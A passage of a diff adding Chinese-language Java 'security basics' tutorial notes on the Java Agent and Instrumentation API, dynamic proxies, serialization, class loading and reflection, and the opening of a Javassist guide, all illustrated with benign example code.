- `void retransformClasses(Class<?>... classes)`:允许对类进行重新转换,但它会触发类加载器重新加载。同样不能改变类的结构(例如类的签名、字段、接口、父类等),但可以修改方法体的具体实现。
|
||||
|
||||
- `Class[] getAllLoadedClasses()`:获取 JVM 中加载的所有类。
|
||||
|
||||
- `long getObjectSize(Object object)`:获取某个对象的大小。
|
||||
|
||||
- `boolean isModifiableClass(Class<?> theClass)`:检查一个类是否可以修改。
|
||||
|
||||
|
||||
#### ClassFileTransformer
|
||||
|
||||
java.lang.instrument.ClassFileTransformer 是用于在类加载时转换字节码的接口。通过实现这个接口,Agent 可以在类加载时对字节码进行修改。前面的自定义转换器就继承了这个类并重写了 transform 方法。
|
||||
|
||||
- 常用方法:
|
||||
- `byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer)`:这个方法在类加载时调用,允许你对类的字节码进行修改,返回修改后的字节码。
|
||||
|
||||
#### VirtualMachine
|
||||
|
||||
com.sun.tools.attach.VirtualMachine 是 Java Attach API 的核心类,允许 Java Agent 动态附加到正在运行的 JVM 上。
|
||||
|
||||
- 常用方法:
|
||||
- `static VirtualMachine attach(String pid)`:根据 JVM 进程 ID,附加到运行中的 JVM。
|
||||
- `void loadAgent(String agentJar)`:加载 Java Agent JAR 文件到已附加的 JVM。
|
||||
- `void detach()`:从目标 JVM 分离。
|
||||
|
||||
#### ClassDefinition
|
||||
|
||||
java.lang.instrument.ClassDefinition 类用于定义要重新加载的类。
|
||||
|
||||
- 常用方法:
|
||||
- `ClassDefinition(Class<?> theClass, byte[] theClassFile)`:构造一个类定义,指定要重新加载的类和它的字节码。
|
||||
|
||||
### 常用方法
|
||||
|
||||
#### premain 方法
|
||||
|
||||
- 这是 Java Agent 在 JVM 启动时的入口方法,类似于 `main` 方法。
|
||||
|
||||
- 方法签名:
|
||||
|
||||
```
|
||||
public static void premain(String agentArgs, Instrumentation inst);
|
||||
```
|
||||
|
||||
- `agentArgs`:传递给 Agent 的参数,可以是命令行参数等。
|
||||
- `inst`:`Instrumentation` 对象,提供修改类字节码、获取类信息等功能。
|
||||
- **示例**:
|
||||
|
||||
```
|
||||
public static void premain(String agentArgs, Instrumentation inst) {
|
||||
inst.addTransformer(new MyTransformer());
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
#### agentmain 方法
|
||||
|
||||
- 用于在 JVM 运行时动态加载 Agent,使用 Attach API 时调用。
|
||||
|
||||
- 方法签名:
|
||||
|
||||
```
|
||||
public static void agentmain(String agentArgs, Instrumentation inst);
|
||||
```
|
||||
|
||||
- 类似 `premain`,`agentmain` 方法在 JVM 运行时动态调用,允许你动态加载 Agent。
|
||||
|
||||
#### transform 方法
|
||||
|
||||
- 这是 `ClassFileTransformer` 接口中的方法,用于修改类字节码。
|
||||
|
||||
- 方法签名:
|
||||
|
||||
```
|
||||
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||
ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException;
|
||||
```
|
||||
|
||||
- `classfileBuffer`:类的字节码,可以通过修改这个字节数组来改变类的行为。
|
||||
|
||||
### 执行流程
|
||||
|
||||
Java Agent 的执行流程简要为:
|
||||
|
||||
1. **启动方式**:
|
||||
- 静态:JVM 启动时,调用 `premain(String agentArgs, Instrumentation inst)`。
|
||||
- 动态:JVM 运行时,调用 `agentmain(String agentArgs, Instrumentation inst)`。
|
||||
2. **注册类文件转换器**:
|
||||
- 在 `premain` 或 `agentmain` 方法中,使用 `Instrumentation#addTransformer` 注册 `ClassFileTransformer`。
|
||||
3. **类文件转换器执行**:
|
||||
- 当类加载时,`ClassFileTransformer` 的 `transform` 方法被调用,修改类的字节码。
|
||||
4. **已加载类的操作**:
|
||||
- 使用 `retransformClasses` 或 `redefineClasses` 修改已加载类的字节码(遵循类的结构限制)。
|
||||
|
||||
## 参考文章
|
||||
|
||||
[Java Agent 使用详解](https://www.cnblogs.com/huanshilang/p/12206644.html)
|
||||
|
||||
[Java 安全学习 —— 内存马](https://goodapple.top/archives/1355)
|
||||
@@ -0,0 +1,207 @@
|
||||
# 基础篇 - Java 动态代理
|
||||
> 2024-05-11
|
||||
> 来源:https://changeyourway.github.io/2024/05/11/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-Java%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86/
|
||||
|
||||
在 Java 动态代理中,代理对象能够通过调用 invoke 方法来增强被代理对象的原始方法。
|
||||
|
||||
## Java 动态代理
|
||||
|
||||
### 程序为什么需要代理?代理长什么样?
|
||||
|
||||
对象如果嫌身上干的事太多,可以通过代理来转移部分职责。对象有什么方法想被代理,代理就一定要有对应的方法。
|
||||
|
||||
### 下面通过一个简单的例子来了解动态代理
|
||||
|
||||
现有一个类 BigStar 需要被代理,如何让代理类知道 BigStar 的哪些方法需要被代理呢?那么需要定义一个接口,这个接口将会声明 BigStar 中需要被代理的方法,再让代理类实现这个接口好了。同样,出于代理的规范,BigStar 类也需要实现这个接口。
|
||||
|
||||
**需要被代理的 BigStar 类:**
|
||||
|
||||
```
|
||||
public class BigStar implements Star{
|
||||
private String name;
|
||||
|
||||
public BigStar(String name) {
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
public String Sing(String name){
|
||||
System.out.println(this.name + "正在唱" + name);
|
||||
return "谢谢大家!";
|
||||
}
|
||||
|
||||
public void Dance(){
|
||||
System.out.println(this.name + "正在跳舞");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Star 接口中声明了 BigStar 类需要被代理的方法 Sing 和 Dance :**
|
||||
|
||||
```
|
||||
public interface Star {
|
||||
String Sing(String name);
|
||||
public void Dance();
|
||||
}
|
||||
```
|
||||
|
||||
接下来我们要获取代理对象,通常用到 Proxy 类的 newProxyInstance() 方法。
|
||||
|
||||
### Proxy.newProxyInstance() 方法
|
||||
|
||||
其定义是这样的:
|
||||
|
||||
```
|
||||
@CallerSensitive
|
||||
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
|
||||
```
|
||||
|
||||
- 返回类型为 Object
|
||||
|
||||
- 第一个参数用于指定类加载器,开发里都是用当前类的类加载器,这里即 ProxyUtil.class.getClassLoader() 。
|
||||
|
||||
- 第二个参数需要传入一个接口数组,用于指定生成的代理对象继承哪些接口,包含哪些方法。
|
||||
|
||||
- 第三个参数需要传入一个 InvocationHandler 接口的对象,由于接口不能直接实例化对象,所以我们这里需要用到 InvocationHandler 接口的匿名对象。
|
||||
|
||||
|
||||
具体代码如下:
|
||||
|
||||
```
|
||||
Star starProxy = (Star) Proxy.newProxyInstance(
|
||||
// 指定类加载器
|
||||
ProxyUtil.class.getClassLoader(),
|
||||
// 传入接口的Class对象
|
||||
new Class[]{Star.class},
|
||||
// 传入InvocationHandler接口的匿名对象
|
||||
new InvocationHandler() {
|
||||
@Override
|
||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
);
|
||||
```
|
||||
|
||||
在使用 idea 创建 InvocationHandler 的匿名内部类时我们会发现这里自动生成了一个重写的 invoke() 方法,划重点,这个 invoke() 方法很重要。
|
||||
|
||||
### InvocationHandler 类的 invoke() 方法
|
||||
|
||||
代理对象需要做的增强功能(或者说要做的事情),就定义在这个方法里。
|
||||
|
||||
我们来看它的定义:
|
||||
|
||||
```
|
||||
public Object invoke(Object proxy, Method method, Object[] args)
|
||||
```
|
||||
|
||||
这三个参数的含义是什么呢?
|
||||
|
||||
我们知道,我们获取到的这个代理对象 starProxy 中是有 Sing 和 Dance 两个方法的,而且将来会被调用,就像这样:
|
||||
|
||||
```
|
||||
starProxy.Sing("爱我中华")
|
||||
```
|
||||
|
||||
那么此时第一个参数 proxy 获取到的就是对象 starProxy ,第二个参数 method 获取到的就是方法 Sing ,第三个参数 args 获取到的就是参数数组 Object\[\]{“爱我中华”} ,应该明白了吧。
|
||||
|
||||
那么接下来我们可以完善这个 invoke 方法:
|
||||
|
||||
```
|
||||
// 新建一个 BigStar 对象
|
||||
BigStar bigStar = new BigStar("张三");
|
||||
// 创建代理对象
|
||||
Star starProxy = (Star) Proxy.newProxyInstance(
|
||||
// 指定类加载器
|
||||
ProxyUtil.class.getClassLoader(),
|
||||
// 传入接口的Class对象
|
||||
new Class[]{Star.class},
|
||||
// 传入InvocationHandler接口的匿名对象
|
||||
new InvocationHandler() {
|
||||
@Override
|
||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||
// 当调用 Sing 方法时,打印 "收钱,准备唱歌场地"
|
||||
if (method.getName().equals("Sing")) {
|
||||
System.out.println("收钱,准备唱歌场地");
|
||||
// 当调用 Dance 方法时,打印 "收钱,准备跳舞场地"
|
||||
} else if (method.getName().equals("Dance")) {
|
||||
System.out.println("收钱,准备跳舞场地");
|
||||
}
|
||||
// 最后一定调用 bigStar 的原始方法,并将结果返回
|
||||
return method.invoke(bigStar, args);
|
||||
}
|
||||
}
|
||||
);
|
||||
```
|
||||
|
||||
最后调用代理类的 Sing 和 Dance 方法测试:
|
||||
|
||||
```
|
||||
String sing = starProxy.Sing("爱我中华");
|
||||
System.out.println(sing);
|
||||
starProxy.Dance();
|
||||
```
|
||||
|
||||
返回结果如下:
|
||||
|
||||

|
||||
|
||||
最后我们再梳理一遍执行流程:
|
||||
|
||||
```
|
||||
starProxy.Sing("爱我中华") -> InvocationHandler 的 invoke 方法(打印 "收钱,准备唱歌场地") -> bigStar.Sing("爱我中华")(并将返回值返回)
|
||||
```
|
||||
|
||||
starProxy.Dance() 同理:
|
||||
|
||||
```
|
||||
starProxy.Dance() -> InvocationHandler 的 invoke 方法(打印 "收钱,准备跳舞场地") -> bigStar.Dance()(无返回)
|
||||
```
|
||||
|
||||
至此,我们对动态代理有了大概的了解。
|
||||
|
||||
不过,实际开发中,我们通常会自定义一个 ProxyUtil 工具类来获取代理对象:
|
||||
|
||||
```
|
||||
public class ProxyUtil {
|
||||
public static Star createProxy(BigStar bigStar) {
|
||||
Star starProxy = (Star) Proxy.newProxyInstance(
|
||||
// 指定类加载器
|
||||
ProxyUtil.class.getClassLoader(),
|
||||
// 传入接口的Class对象
|
||||
new Class[]{Star.class},
|
||||
// 传入InvocationHandler接口的匿名对象
|
||||
new InvocationHandler() {
|
||||
@Override
|
||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||
// 当调用 Sing 方法时,打印 "收钱,准备唱歌场地"
|
||||
if (method.getName().equals("Sing")) {
|
||||
System.out.println("收钱,准备唱歌场地");
|
||||
// 当调用 Dance 方法时,打印 "收钱,准备跳舞场地"
|
||||
} else if (method.getName().equals("Dance")) {
|
||||
System.out.println("收钱,准备跳舞场地");
|
||||
}
|
||||
// 最后一定调用 bigStar 的原始方法
|
||||
return method.invoke(bigStar, args);
|
||||
}
|
||||
}
|
||||
);
|
||||
return starProxy;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
如此一来,我们的测试类中就可以这样写:
|
||||
|
||||
```
|
||||
public class Test {
|
||||
public static void main(String[] args) {
|
||||
// 获取代理对象
|
||||
Star starProxy = ProxyUtil.createProxy(new BigStar("张三"));
|
||||
String sing = starProxy.Sing("爱我中华");
|
||||
System.out.println(sing);
|
||||
starProxy.Dance();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
这样就简洁很多了。
|
||||
@@ -0,0 +1,186 @@
|
||||
# 基础篇 - Java 序列化与反序列化
|
||||
> 2024-05-10
|
||||
> 来源:https://changeyourway.github.io/2024/05/10/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-Java%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
|
||||
|
||||
Java 序列化是指把 Java 对象转换为字节序列的过程,而 Java 反序列化是指把字节序列恢复为 Java 对象的过程。本文详细讲解了 Java 序列化与反序列化的实现。
|
||||
|
||||
## Java 序列化与反序列化
|
||||
|
||||
### 概述
|
||||
|
||||
Java 序列化是指把 Java 对象转换为字节序列的过程,而 Java 反序列化是指把字节序列恢复为 Java 对象的过程。
|
||||
|
||||
### 序列化与反序列化实现
|
||||
|
||||
##### 条件
|
||||
|
||||
只有实现了 `Serializable` 或者 `Externalizable` 接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)
|
||||
|
||||
###### Serializable 接口
|
||||
|
||||
`Serializable` 接口是 Java 提供的序列化接口,它是一个空接口:
|
||||
|
||||
```
|
||||
public interface Serializable {
|
||||
}
|
||||
```
|
||||
|
||||
`Serializable` 用来标识当前类可以被 `ObjectOutputStream` 序列化,以及被 `ObjectInputStream` 反序列化。
|
||||
|
||||
###### Externalizable 接口
|
||||
|
||||
`Externalizable` 接口是一个更高级别的序列化机制,它允许类对序列化和反序列化过程进行更多的控制和自定义。
|
||||
|
||||
实现了 `Externalizable` 接口的类可以被序列化,但是它与实现 `Serializable` 接口的类有所不同,`Externalizable` 接口的序列化和反序列化方法对对象的状态完全负责,包括对象的所有成员变量。因此,在 `writeExternal` 和 `readExternal` 方法中,需要手动指定对象的所有成员变量的序列化和反序列化过程。
|
||||
|
||||
- 类必须显式实现 `Externalizable` 接口。
|
||||
|
||||
- 类必须实现 `writeExternal` 和 `readExternal` 方法来手动指定对象的序列化和反序列化过程。这些方法负责将对象的状态写入和读取到指定的数据流中。
|
||||
|
||||
- 类必须提供一个公共的无参数构造函数,因为反序列化过程需要调用该构造函数来创建对象实例。
|
||||
|
||||
以下是代码示例:
|
||||
|
||||
```
|
||||
import java.io.*;
|
||||
|
||||
public class MyClass implements Externalizable {
|
||||
private int id;
|
||||
private String name;
|
||||
|
||||
// 必须提供默认的构造函数
|
||||
public MyClass() {}
|
||||
|
||||
public MyClass(int id, String name) {
|
||||
this.id = id;
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
// 实现序列化的方法
|
||||
@Override
|
||||
public void writeExternal(ObjectOutput out) throws IOException {
|
||||
out.writeInt(id);
|
||||
out.writeUTF(name);
|
||||
}
|
||||
|
||||
// 实现反序列化的方法
|
||||
@Override
|
||||
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
|
||||
id = in.readInt();
|
||||
name = in.readUTF();
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
###### 其他条件
|
||||
|
||||
除此之外,反序列化还有一些条件:
|
||||
|
||||
1. **对象的所有成员都可序列化**:如果一个类实现了 `Serializable` 接口,但其成员中有某些成员变量不可序列化,则序列化操作会失败。
|
||||
2. **静态成员变量不参与序列化**:静态成员变量属于类级别的数据,不包含在序列化的过程中。
|
||||
3. **transient 关键字**:如果某个成员变量被声明为 `transient`,则在序列化过程中会被忽略,不会被持久化。
|
||||
4. **序列化版本号 serialVersionUID**:序列化版本号不一致反序列化会失败。建议显式声明一个名为 `serialVersionUID` 的静态变量,用于控制序列化的版本。若不声明,Java 会根据类的结构自动生成一个版本号,若类的结构发生变化,则版本号不同,无法反序列化。
|
||||
|
||||
##### 序列化对象
|
||||
|
||||
要将对象序列化成字节流,可以使用 `ObjectOutputStream` 类。通过 `ObjectOutputStream` 的 `writeObject()` 方法将对象写入输出流。
|
||||
|
||||
代码示例:
|
||||
|
||||
```
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
|
||||
public class SerializationExample {
|
||||
public static void main(String[] args) {
|
||||
try {
|
||||
MyClass obj = new MyClass();
|
||||
FileOutputStream fileOut = new FileOutputStream("object.ser");
|
||||
ObjectOutputStream out = new ObjectOutputStream(fileOut);
|
||||
out.writeObject(obj);
|
||||
out.close();
|
||||
fileOut.close();
|
||||
System.out.println("Object has been serialized");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
##### 反序列化字节流
|
||||
|
||||
要从字节流中反序列化对象,可以使用 `ObjectInputStream` 类。通过 `ObjectInputStream` 的 `readObject()` 方法读取输入流中的对象。
|
||||
|
||||
代码示例:
|
||||
|
||||
```
|
||||
import java.io.FileInputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
|
||||
public class DeserializationExample {
|
||||
public static void main(String[] args) {
|
||||
try {
|
||||
FileInputStream fileIn = new FileInputStream("object.ser");
|
||||
ObjectInputStream in = new ObjectInputStream(fileIn);
|
||||
MyClass obj = (MyClass) in.readObject();
|
||||
in.close();
|
||||
fileIn.close();
|
||||
System.out.println("Object has been deserialized");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
##### 使用 ObjectOutputStream 与 ObjectInputStream 的注意事项
|
||||
|
||||
在上面的代码中,使用 `ObjectOutputStream`( `ObjectInputStream` )之前,先使用了 `FileOutputStream`(`FileInputStream` )来处理数据。
|
||||
|
||||
实际上,`ObjectOutputStream` 需要一个输出流作为参数,因此在使用 `ObjectOutputStream` 之前,先使用 `FileOutputStream` 打开文件并创建一个文件输出流对象,以便将对象序列化后的数据写入文件。
|
||||
|
||||
同理,`ObjectInputStream` 是基于输入流的,它需要一个输入流作为参数来读取对象的序列化数据。而 `FileInputStream` 是一种输入流,用于从文件中读取字节流数据。
|
||||
|
||||
此外,重要的一点是:
|
||||
|
||||
ObjectOutputStream 中进行序列化操作的时候,会判断被序列化的对象是否自己重写了 writeObject 方法,如果重写了,就会调用被序列化对象自己的 writeObject 方法,如果没有重写,才会调用默认的序列化方法。
|
||||
|
||||
同理 ObjectInputStream 中进行序列化操作的时候,会判断被序列化的对象是否自己重写了 readObject方法,如果重写了,就会调用被序列化对象自己的 readObject方法,如果没有重写,才会调用默认的序列化方法。
|
||||
|
||||
##### 常见的输入输出流
|
||||
|
||||
除了 `FileInputStream`( `FileOutputStream`)之外,根据条件的不同,还可以使用其他的输入输出流来处理数据。
|
||||
|
||||
以下是一些常见的输入输出流以及它们的使用条件:
|
||||
|
||||
1. **BufferedInputStream**(**BufferedOutputStream**):
|
||||
- 使用条件:当需要对读取或写入的数据进行缓冲以提高性能时,特别是对大文件或网络数据流的读取或写入。
|
||||
2. **ByteArrayInputStream**(**ByteArrayOutputStream**):
|
||||
- 使用条件:当需要从字节数组中读取数据,或将数据写入到字节数组中时。
|
||||
3. **ObjectInputStream**(**ObjectOutputStream**):
|
||||
- 使用条件:当需要将输入流中的数据反序列化为对象,或将对象序列化后的数据写入到输出流时。
|
||||
4. **PipedInputStream**(**PipedOutputStream**):
|
||||
- 使用条件:当需要通过管道与另一个线程进行数据交换时,可用于线程间通信。
|
||||
5. **DataInputStream**(**DataOutputStream**):
|
||||
- 使用条件:当需要从输入流中以 Java 基本数据类型的格式读取数据,或以 Java 基本数据类型的格式将数据写入输出流时。
|
||||
6. **FileInputStream**(**FileOutputStream**):
|
||||
- 使用条件:当需要从文件中读取字节数据,或将数据写入文件时。
|
||||
7. **其他自定义的 InputStream**(**OutputStream**):
|
||||
- 使用条件:如果有特定的需求,可以自定义实现 `InputStream`(`OutputStream`)类的子类,来满足自己的需求,比如从特定硬件设备中读取数据等。
|
||||
|
||||
##### 序列化版本号 serialVersionUID
|
||||
|
||||
Java 的序列化机制是通过判断运行时类的 serialVersionUID 来验证版本一致性的,在进行反序列化时,JVM 会把传进来的字节流中的 serialVersionUID 与本地实体类中的 serialVersionUID 进行比较,如果相同则认为是一致的,便可以进行反序列化,否则就会报序列化版本不一致的异常。
|
||||
|
||||
如果没有显示指定 serialVersionUID ,Java 会根据类的结构自动生成一个,这种情况下,只有同一次编译生成的 class 才会生成相同的 serialVersionUID 。
|
||||
|
||||
有时候由于 serialVersionUID 发生改变,导致反序列化不能成功,为了不出现这类的问题,可以在要序列化的类中显式的声明一个名为 “ serialVersionUID ” 、类型为 long 的变量,并指定其值:
|
||||
|
||||
```
|
||||
private static final long serialVersionUID = 1L;
|
||||
```
|
||||
|
||||
这样就解决了兼容性问题。
|
||||
@@ -0,0 +1,166 @@
|
||||
# 基础篇 - Java 的类加载与反射
|
||||
> 2024-05-10
|
||||
> 来源:https://changeyourway.github.io/2024/05/10/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-Java%E7%9A%84%E7%B1%BB%E5%8A%A0%E8%BD%BD%E4%B8%8E%E5%8F%8D%E5%B0%84/
|
||||
|
||||
本文介绍了 Java 的类加载与反射机制,概括了获得 Class 对象的几种方式,以及总结了反射获取类信息的方法。
|
||||
|
||||
## 类加载机制
|
||||
|
||||
### 概述
|
||||
|
||||
class 文件由类装载器装载后,在 JVM 中将形成一份描述 Class 结构的元信息对象,通过该元信息对象可以获知 Class 的结构信息:如构造函数,属性和方法等,Java 允许用户借由这个 Class 相关的元信息对象间接调用 Class 对象的功能。
|
||||
|
||||
虚拟机把描述类的数据从 class 文件加载到内存,并对数据进行校验,转换解析和初始化,最终形成可以被虚拟机直接使用的 Java 类型,这就是虚拟机的类加载机制。
|
||||
|
||||
### 类加载器
|
||||
|
||||
ClassLoader :Java 中的一个抽象类,位于 `java.lang` 包中,用于实现类的加载机制。
|
||||
|
||||
在 Java 中,有三种主要的类加载器:
|
||||
|
||||
1. **Bootstrap ClassLoader(启动类加载器):** 这是 Java 虚拟机(JVM)自身的一部分,负责加载 Java 的核心类库,如 `java.lang` 等。它是用本地代码实现的,无法直接在 Java 代码中访问。
|
||||
2. **Extension ClassLoader(扩展类加载器):** 这个类加载器负责加载 Java 的扩展库,位于 `$JAVA_HOME/lib/ext` 目录下的 JAR 文件中的类。它是由 `sun.misc.Launcher$ExtClassLoader` 类实现的。
|
||||
3. **System ClassLoader 或 Application ClassLoader(系统类加载器或应用程序类加载器):** 这个类加载器负责加载应用程序的类路径(Classpath)中指定的类,包括用户自定义的类。它是由 `sun.misc.Launcher$AppClassLoader` 类实现的。
|
||||
|
||||
### 类的生命周期
|
||||
|
||||
类从被加载到虚拟机内存中开始到卸载出内存为止,它的整个生命周期可以简单概括为 7 个阶段::加载(Loading)、验证(Verification)、准备(Preparation)、解析(Resolution)、初始化(Initialization)、使用(Using)和卸载(Unloading)。其中,验证、准备和解析这三个阶段可以统称为连接(Linking)。
|
||||
|
||||
这 7 个阶段的顺序为:
|
||||
|
||||
加载 -> 验证 -> 准备 -> 解析 -> 初始化 -> 使用 -> 卸载
|
||||
|
||||
其中,类加载过程包含上述从加载到初始化的五个阶段,即:
|
||||
|
||||
加载 -> 验证 -> 准备 -> 解析 -> 初始化
|
||||
|
||||
有时候也将验证,准备,解析三个阶段看作一个阶段,叫连接阶段,所以类加载过程又可以描述为:
|
||||
|
||||
加载 -> 连接 -> 初始化
|
||||
|
||||
### 获得 Class 对象的四种方式
|
||||
|
||||
比如现在有一个类 com.newer.test.Student ,获取该类的 class 对象有以下四种方式:
|
||||
|
||||
1. 通过类名.class
|
||||
|
||||
```abnf
|
||||
Class c1 = Student.class;
|
||||
```
|
||||
|
||||
2. 通过对象的 getClass() 方法,stu 是 Student 类的对象
|
||||
|
||||
```abnf
|
||||
Class c2 = stu.getClass();
|
||||
```
|
||||
|
||||
3. 通过类加载器获得 class 对象
|
||||
|
||||
```abnf
|
||||
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
|
||||
Class c3 = classLoader.loadClass("com.newer.test.Student");
|
||||
```
|
||||
|
||||
值得注意的是,通过类加载器获得 class 对象的这段代码只会经过类加载的五个阶段中的前四个阶段,而不会经过初始化阶段。而类中的静态代码块是在类加载过程中的初始化阶段执行的,所以如果想通过这种方式让类中的静态代码块执行,即触发类的初始化,可以补充以下代码:
|
||||
|
||||
```
|
||||
c3.newInstance();
|
||||
```
|
||||
|
||||
4. 通过 Class.forName() 获得 Class 对象
|
||||
|
||||
```abnf
|
||||
Class c4 = Class.forName("com.newer.test.Student");
|
||||
```
|
||||
|
||||
## 反射机制
|
||||
|
||||
### 概述
|
||||
|
||||
反射(Reflection) 是 Java 程序开发语言的特征之一,它允许运行中的 Java 程序对自身进行检查,或者说“自审”,并能直接操作程序的内部属性和方法。
|
||||
|
||||
### 通过反射调用方法的流程
|
||||
|
||||
反射调用一般分为 3 个步骤:
|
||||
|
||||
- 得到要调用类的 Class 对象
|
||||
- 得到要调用的类的方法(Method)
|
||||
- 方法调用(invoke)
|
||||
|
||||
代码示例:
|
||||
|
||||
1. 加载 “com.newer.test.Student” 类,并返回对应的 Class 对象:
|
||||
|
||||
```
|
||||
Class cls = Class.forName("com.newer.test.Student");
|
||||
```
|
||||
|
||||
2. 获取名为 “hi”、参数类型为 int 和 String 的方法,并返回对应的 Method 对象:
|
||||
|
||||
```
|
||||
Method m = cls.getDeclaredMethod("hi",new Class[]{int.class,String.class});
|
||||
```
|
||||
|
||||
3. 调用之前获取到的方法:
|
||||
|
||||
```
|
||||
m.invoke(cls.newInstance(),18,"zhangsan");
|
||||
```
|
||||
|
||||
invoke() 方法接收两个参数,第一个参数是要调用方法的对象实例,第二个参数是方法的参数列表。
|
||||
|
||||
cls.newInstance() 创建了一个 com.newer.test.Student 的实例,然后调用该实例的 “hi” 方法,传递了参数 18 和 “zhangsan”。
|
||||
|
||||
### 反射获取类的信息
|
||||
|
||||
###### 获取类构造器
|
||||
|
||||
- `Connstructor<T> getConstructor(Class<?>...parameterTypes)`:返回此 Class 对象对应类的带指定形参的 **public** 构造方法
|
||||
- `Constructor<?>[] getConstructors()`:返回此 Class 对象对应类的所有 **public** 构造方法
|
||||
- `Constructor<T>[] getDeclaredConstructor(Class<?>...parameterTypes)`:返回此 Class 对象对应类的带指定参数的构造方法,所有声明的构造方法均可访问。
|
||||
- `Constructor<?>[] getDeclaredConstructors()`:返回此 Class 对象对应类的所有声明的构造方法
|
||||
|
||||
###### 获取类成员方法
|
||||
|
||||
- `Method getMethod(String name,Class<?>...parameterTypes)`:返回此 Class 对象对应类的带指定形参的 public 方法
|
||||
- `Method[] getMethods()`:返回此 Class 对象对应类的所有 public 方法
|
||||
- `Method getDeclaredMethod(string name,Class<?>...parameterTypes)`:返回此 Class 对象对应类的带指定形参的方法
|
||||
- `Method[] getDeclaredMethods()`:返回此 Class 对象对应类的全部方法
|
||||
|
||||
###### 获取类成员变量
|
||||
|
||||
- `Field getField(String name)`:返回此 Class 对象对应类的指定名称的 public 成员变量
|
||||
- `Field[] getFields()`:返回此 Class 对象对应类的所有 public 成员变量
|
||||
- `Field getDeclaredField(String name)`:返回此 Class 对象对应类的指定名称的成员变量,与成员变量访问权限无关
|
||||
- `Field[] getDeclaredFields()`:返回此 Class 对象对应类的全部成员变量,与成员变量的访问权限无关
|
||||
|
||||
###### 获取类注解
|
||||
|
||||
- `<A extends Annotation>A getAnnotation(Class<A>annotationClass)`:尝试获取该 Class 对象对应类上的指定类型的 Annotation ,如果该类型注解不存在,则返回 null
|
||||
- `<A extends Annotation>A getDeclaredAnnotation(Class<A>annotationClass)`:这是 Java 8 中新增的,该方法获取直接修饰该 Class 对象对应类的指定类型的 Annotation ,如果不存在,则返回 null
|
||||
- `Annotation[] getAnnotations()`:返回修饰该 Class 对象对应类上存在的所有 Annotation ,包括从父类继承而来的注解,但是不能获取到私有方法或字段上的注解
|
||||
- `Annotation[] getDeclaredAnnotations()`:返回修饰该 Class 对象对应类上存在的所有 Annotation ,不包括从父类继承的注解,可以获取到私有方法或字段上的注解
|
||||
- `<A extends Annotation>A[] getAnnotationByType(Class<A>annotationClass)`:该方法的功能与前面介绍的 getAnnotation() 方法基本相似,但由于 Java8 增加了重复注解功能,因此需要使用该方法获取修饰该类的指定类型的多个 Annotation
|
||||
- `<A extends Annotation>A[] getDeclaredAnnotationByType(Class<A>annotationClass)`:该方法的功能与前面介绍的 getDeclaredAnnotations() 方法相似,也是因为 Java8 的重复注解的功能,需要使用该方法获取直接修饰该类的指定类型的多个 Annotation
|
||||
|
||||
###### 获取该类内部类
|
||||
|
||||
- `Class<?>[] getDeclaredClasses()`:返回该 Class 队形对应类里包含的全部内部类
|
||||
|
||||
###### 获取该类对象所在的外部类
|
||||
|
||||
- `Class<?> getDeclaringClass()`:返回该 Class 对象对应类所在的外部类
|
||||
|
||||
###### 获取该类对象对应类所实现的接口
|
||||
|
||||
- `Class<?>[] getInterfaces()`:返回该 Class 对象对应类所实现的全部接口
|
||||
|
||||
###### 获取该类对象对应类所继承的父类
|
||||
|
||||
- `Class<? super T> getSuperclass()`:返回该 Class 对象对应类的超类的 Class 对象
|
||||
|
||||
###### 获取该类对象对应类的修饰符、所在包、类名等基本信息
|
||||
|
||||
- `int getModifiers()`:返回此类或接口的所有修饰符,修饰符由 public 、protected 、private 、final 、static 、abstract 等对应的常量组成,返回的整数应使用 Modifier 工具类的方法来解码,才可以获取真的修饰符
|
||||
- `Package getPackage()`:获取该类的包
|
||||
- `String getName()`:以字符串形式返回此 Class 对象所表示的类的简称
|
||||
@@ -0,0 +1,342 @@
|
||||
# 基础篇 - Javassist 使用指南
|
||||
> 2024-06-07
|
||||
> 来源:https://changeyourway.github.io/2024/06/07/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-javassist%E7%94%A8%E6%B3%95%E6%8C%87%E5%8D%97/
|
||||
|
||||
Javassist 是一个用于操作 Java 字节码的类库。Java 字节码存储在类文件的二进制文件中。每个类文件都包含一个 Java 类或接口。
|
||||
类 Javassist.CtClass 是对类文件的抽象表示。(编译时类 CtClass )对象是处理类文件的句柄(句柄 Handle 是一个用来标识对象或者项目的标识符)。
|
||||
|
||||
## Javassist 介绍
|
||||
|
||||
Javassist 是一个用于操作 Java 字节码的类库。Java 字节码存储在类文件的二进制文件中。每个类文件都包含一个 Java 类或接口。
|
||||
